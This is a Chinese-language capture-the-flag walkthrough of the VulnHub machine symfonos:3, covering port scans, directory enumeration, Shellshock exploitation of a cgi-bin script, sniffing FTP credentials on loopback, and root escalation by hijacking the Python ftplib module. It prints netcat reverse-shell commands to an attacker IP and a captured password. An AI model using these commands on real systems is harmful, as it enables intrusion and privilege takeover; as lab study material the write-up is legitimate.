对symfonos:3的测试

symfonos:3

主机桥接模式
实验目的:获取flag
项目地址:https://www.vulnhub.com/entry/symfonos-3,332/

信息收集

1.png

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~# nmap -T4 -A -v -p- 192.168.31.90
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
| 256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_ 256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html)

失败的枚举

80端口开始

1
root@kali:~# curl -i http://192.168.31.90

2.png
提示枚举

1
2
3
4
root@kali:~# dirb http://192.168.31.90
+ http://192.168.31.90/cgi-bin/ (CODE:403|SIZE:296)
+ http://192.168.31.90/index.html (CODE:200|SIZE:241)
+ http://192.168.31.90/server-status (CODE:403|SIZE:301)

3.png
没有在页面找到信息
再次尝试枚举

1
2
root@kali:~# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-large-dir ectories-lowercase.txt -u http://192.168.31.90/gate
/cerberus (Status: 301)

4.png
不是很好看啊,这个,此页面也没有找到信息,继续枚举

1
2
root@kali:~# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/raft-large-dir ectories-lowercase.txt -u http://192.168.31.90/gate/cerberus/
/tartarus (Status: 301)

1
root@kali:~# curl -i http://192.168.31.90/gate/cerberus/tartarus/

5.png
提示说这个是残忍的并具有误导性,意味着我进入了陷阱
返回开始,有个cgi-bin,很有吸引

1
2
root@kali:~# gobuster -q -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium. txt -u http://192.168.31.90/cgi-bin
/underworld (Status: 200)

shellshock漏洞

6.png
uptime和相识
在这之后访问任何url都会显示uptime的内容
7.png
这意味着这里多半存在shellshock漏洞

1
root@kali:~# searchsploit shellshock

8.png

1
2
3
4
5
6
7
root@kali:~/Desktop# php 34766.php
Usage: 34766.php -u URL -c cmd
root@kali:~/Desktop# php 34766.php -u http://192.168.31.90/cgi-bin/underworld/ -c "n c -e /bin/bash 192.168.31.35 1234"
λ nc -nvlp 1234
python -c "import pty;pty.spawn('/bin/bash')"
cerberus@symfonos3:/usr/lib/cgi-bin$ id
uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(www-data)

提权

1
2
3
4
cerberus@symfonos3:/usr/lib/cgi-bin$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
hades:x:1000:1000:,,,:/home/hades:/bin/bash
cerberus:x:1001:1001:,,,:/home/cerberus:/bin/bash

发现新用户hades
事实上使用LinEnum没有枚举出有帮助的信息
使用pspy(允许我们看到其他用户、cron jobs等在执行时运行的命令)

1
2
3
cerberus@symfonos3:/tmp$ wget https://github-download.oss-cn-hongkong.aliyuncs.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32
cerberus@symfonos3:/tmp$ chmod 777 pspy32
cerberus@symfonos3:/tmp$ ./pspy32

时刻记住前面还有FTP没有利用
9.png
发现一个py脚本
10.png
但是没有权限查看,但是可以猜测脚本与FTP服务之间有什么数据流动

1
cerberus@symfonos3:/tmp$ tcpdump -w ftp.pcap -i lo

欢迎尝试各种坑

-w 将所有数据写入ftp.pcap
-i 侦听网卡

推荐使用ip命令,比ifconfig好用的多

1
2
cerberus@symfonos3:/tmp$ python -m SimpleHTTPServer 9999
root@kali:~/Desktop# wget http://192.168.31.90:9999/ftp.pcap

将数据包下载下来,进行分析
11.png
得到账号密码hades:PTpZTfU4vxgzvRBE

1
2
hades@symfonos3:~$ id
uid=1000(hades) gid=1000(hades) groups=1000(hades),1002(gods)

查看我们关注的py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hades@symfonos3:/opt/ftpclient$ cat ftpclient.py
import ftplib

ftp = ftplib.FTP('127.0.0.1')
ftp.login(user='hades', passwd='PTpZTfU4vxgzvRBE')

ftp.cwd('/srv/ftp/')

def upload():
filename = '/opt/client/statuscheck.txt'
ftp.storbinary('STOR '+filename, open(filename, 'rb'))
ftp.quit()

upload()

发现调用ftplib,那么将shell写入该文件

1
2
3
import sys
import os
os.system("nc -e /bin/bash 192.168.31.35 8888")

一会儿一个连接就来了

1
2
3
4
5
λ nc -nvlp 8888
python -c "import pty;pty.spawn('/bin/bash')"
root@symfonos3:~# id
id
uid=0(root) gid=0(root) groups=0(root)

flag

12.png

总结

枚举字典很重要,网卡并不只有一个,还有就是晚安(^▽^)。

到此结束

如有错误请联系lanbaidetanlang@qq.com

文章目录
  1. 1. symfonos:3
    1. 1.1. 信息收集
    2. 1.2. 失败的枚举
    3. 1.3. shellshock漏洞
    4. 1.4. 提权
    5. 1.5. flag
  2. 2. 总结
  3. 3. 到此结束